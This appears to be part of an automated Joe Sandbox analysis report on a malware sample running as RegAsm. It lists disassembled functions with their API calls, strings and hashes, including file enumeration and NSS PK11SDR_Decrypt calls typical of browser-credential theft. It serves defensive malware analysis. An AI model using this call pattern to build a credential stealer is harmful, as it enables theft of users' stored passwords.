HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,014FAB38,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,015014E8), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\%s, xrefs: 0041461B
%s\*, xrefs: 0041459A

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 419923a9e08405b21d936003359c3c873ff73b1994b3a3dbc6781c2d7c9f8699
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 419923a9e08405b21d936003359c3c873ff73b1994b3a3dbc6781c2d7c9f8699
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 6C4A0570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6C4A05E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4A060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C4A061A
PK11_PubDeriveWithKDF.NSS3 ref: 6C4A0712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4A0740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C4A0760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C4A07AE
PK11_FreeSymKey.NSS3(?), ref: 6C4A07BC
PK11_FreeSymKey.NSS3(?), ref: 6C4A07D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C4A07DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4A07EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6C4A07F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C4A082F
memcpy.VCRUNTIME140(?,?,?), ref: 6C4A08A9
SECITEM_DupItem_Util.NSS3(?), ref: 6C4A08D0

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: 5f1d15da5b33d3db87e085520b17ffedeee552f94b5ce7001e675548d9ed75b6
Instruction ID: ab50f88b9abe105f69b62a1a75e891950715016715edcf379b1efc5f996078a5
Opcode Fuzzy Hash: 5f1d15da5b33d3db87e085520b17ffedeee552f94b5ce7001e675548d9ed75b6
Instruction Fuzzy Hash: 4191B0B5A083409BE704DF65CC40F5B77E1AFA431CF14852CE98A8B7A5EB31D846CB92

Function 6C3FECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C3FED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C3FEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C3FEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C3FEF98

Strings

%s at line %d of [%.10s], xrefs: 6C3FF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3FF483
database corruption, xrefs: 6C3FF48D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 285ccd160ee4a9d34fa76abc9c69d73c58e9f9596c1e55a52dd1d4e0f6b08f88
Instruction ID: 4cad550ff367a7828ddf79b4d511e18fe4c2b9c9049de29dd9b5e2141a5aaa24
Opcode Fuzzy Hash: 285ccd160ee4a9d34fa76abc9c69d73c58e9f9596c1e55a52dd1d4e0f6b08f88
Instruction Fuzzy Hash: 0362F334A043458FDB04CF64C880B9ABBF1BF49318F184999D8655BB92D776E887CFA1

Function 6C40AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C52CF46,?,6C3FCDBD,?,6C52BF31,?,?,?,?,?,?,?), ref: 6C40B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C52CF46,?,6C3FCDBD,?,6C52BF31), ref: 6C40B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C52CF46,?,6C3FCDBD,?,6C52BF31), ref: 6C40B0A2
CloseHandle.KERNEL32(?,?,6C52CF46,?,6C3FCDBD,?,6C52BF31,?,?,?,?,?,?,?,?,?), ref: 6C40B100
sqlite3_free.NSS3(?,?,00000002,?,6C52CF46,?,6C3FCDBD,?,6C52BF31,?,?,?,?,?,?,?), ref: 6C40B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C52CF46,?,6C3FCDBD,?,6C52BF31), ref: 6C40B12D

Part of subcall function 6C3F9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C40C6FD,?,?,?,?,6C45F965,00000000), ref: 6C3F9F0E
Part of subcall function 6C3F9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C45F965,00000000), ref: 6C3F9F5D

Strings

`Xl, xrefs: 6C40B0DF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `Xl
API String ID: 3155957115-2906863447
Opcode ID: 9e7e13960ee60444cd0230765f6eef5c2bd0ea210cdb44b6913bbbd189f276c5
Instruction ID: 99099527c63fbb061568726c3277ef77c8bda0216a9976a7704aa908567d0837
Opcode Fuzzy Hash: 9e7e13960ee60444cd0230765f6eef5c2bd0ea210cdb44b6913bbbd189f276c5
Instruction Fuzzy Hash: AD91BAB0B442068FEB04CF24C884F6AB7B1FF45309B154A3DE4169BB50EB34E981CB99

Function 6C4A0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C4A0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4A0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C4A1006
PK11_FreeSymKey.NSS3(?), ref: 6C4A101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4A1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4A103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C4A1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C4A108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C4A10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C4A10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C4A112E

Part of subcall function 6C4A1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C4A08C4,?,?), ref: 6C4A15B8
Part of subcall function 6C4A1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C4A08C4,?,?), ref: 6C4A15C1
Part of subcall function 6C4A1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4A162E
Part of subcall function 6C4A1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4A1637

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 3dd8b16757146c2e012579e9a4c98325792c97e4cb908736411145253bdf1af3
Instruction ID: 2c40c2aa05501ae4cc48840da4baa43e46b3682fb29e5a46d253667e6808e001
Opcode Fuzzy Hash: 3dd8b16757146c2e012579e9a4c98325792c97e4cb908736411145253bdf1af3
Instruction Fuzzy Hash: 7571FFB5E04201CFDB00CFA6CC80EAAB7B5BF58318F14862CE90997B15E771D946CB91

Function 0040C820 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,014FAC28), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
PK11_FreeSlot.NSS3(?), ref: 0040C961
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 6C548550 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6C5485CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5486CA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C54875F
memset.VCRUNTIME140(?,00000000,?), ref: 6C54893A
sqlite3_free.NSS3(?), ref: 6C548977
sqlite3_free.NSS3 ref: 6C5489A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C548B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C548B79

Strings

recovered %d pages from %s, xrefs: 6C5485C2

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 1138475946-1623757624
Opcode ID: 2e6dec62c134688d76a505783ffe707d298ee2a1773cab3d0dad9275572dd02e
Instruction ID: f3a31b464708ed6018d475b1e4798190f138042646b9a3bddcd302f633cb0bd1
Opcode Fuzzy Hash: 2e6dec62c134688d76a505783ffe707d298ee2a1773cab3d0dad9275572dd02e
Instruction Fuzzy Hash: 571226746083019FD704DF29CC90B6BB7E5AF89308F04892EE99AC7751E771E845CB92

Function 6C4C6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C471C6F,00000000,00000004,?,?), ref: 6C4C6C3F

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C471C6F,00000000,00000004,?,?), ref: 6C4C6C60
PR_ExplodeTime.NSS3(00000000,6C471C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C471C6F,00000000,00000004,?,?), ref: 6C4C6C94

Strings

gfff, xrefs: 6C4C6D66
gfff, xrefs: 6C4C6D9C
gfff, xrefs: 6C4C6CF5
gfff, xrefs: 6C4C6D30
gfff, xrefs: 6C4C6CFD

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: fede46b7e1200139fbb2179b3e8ed4e53b59ab7bab863943c133c24c37272fe5
Instruction ID: 7566b953fb5134e0efe5ffc407b7f3cddde754fe5fdc9017ec793f21faddc40b
Opcode Fuzzy Hash: fede46b7e1200139fbb2179b3e8ed4e53b59ab7bab863943c133c24c37272fe5
Instruction Fuzzy Hash: 5D514C76B016494FC708CDADDC52BEAB7DA9BE4310F48C23AE842DB785D638E906C751

Function 0040ED20 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0040ED55
StrCmpCA.SHLWAPI(?,00421538), ref: 0040EDAB
StrCmpCA.SHLWAPI(?,0042153C), ref: 0040EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F2AE
FindClose.KERNEL32(000000FF), ref: 0040F2C3

Strings

%s\*.*, xrefs: 0040ED32

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 75e15ae0cdc5bd11ea3164567e07e25f29e8f588a92aa6ab9e0e53c38801dc64
Instruction ID: 3007dda49b16e6c87372febce5c45cbfe381bf5ef72a3521d52464c3f4e34f22
Opcode Fuzzy Hash: 75e15ae0cdc5bd11ea3164567e07e25f29e8f588a92aa6ab9e0e53c38801dc64
Instruction Fuzzy Hash: 41E13571912118AADB14FB61CD51EEE7338AF54314F4045EEB40A62092EF386FDACF69

Function 6C588D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C5D14E4,6C53CC70), ref: 6C588D47
PR_GetCurrentThread.NSS3 ref: 6C588D98

Part of subcall function 6C460F00: PR_GetPageSize.NSS3(6C460936,FFFFE8AE,?,6C3F16B7,00000000,?,6C460936,00000000,?,6C3F204A), ref: 6C460F1B
Part of subcall function 6C460F00: PR_NewLogModule.NSS3(clock,6C460936,FFFFE8AE,?,6C3F16B7,00000000,?,6C460936,00000000,?,6C3F204A), ref: 6C460F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C588E7B
htons.WSOCK32(?), ref: 6C588EDB
PR_GetCurrentThread.NSS3 ref: 6C588F99
PR_GetCurrentThread.NSS3 ref: 6C58910A

Strings

%u.%u.%u.%u, xrefs: 6C588E74

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 83dd3624b8c341a02775f9efacd2464bfc654c1991f4bb963fe33b5b24379e6c
Instruction ID: eb8c0580ef87859266ca774d845ad184403f38d12f5aacbe7b3772044d59c109
Opcode Fuzzy Hash: 83dd3624b8c341a02775f9efacd2464bfc654c1991f4bb963fe33b5b24379e6c
Instruction Fuzzy Hash: BA027A3190B2718FDB18CF19CC6876ABBB3EF82304F19825AD8915FA91C731E949C791

Function 0040DE10 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C2E), ref: 0040DE5E
StrCmpCA.SHLWAPI(?,004214C8), ref: 0040DEAE
StrCmpCA.SHLWAPI(?,004214CC), ref: 0040DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E3E0
FindClose.KERNEL32(000000FF), ref: 0040E3F2

Strings

4@, xrefs: 0040DE32, 0040E400, 0040DEF3, 0040DE75, 0040DEF6
\*.*, xrefs: 0040DE26

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
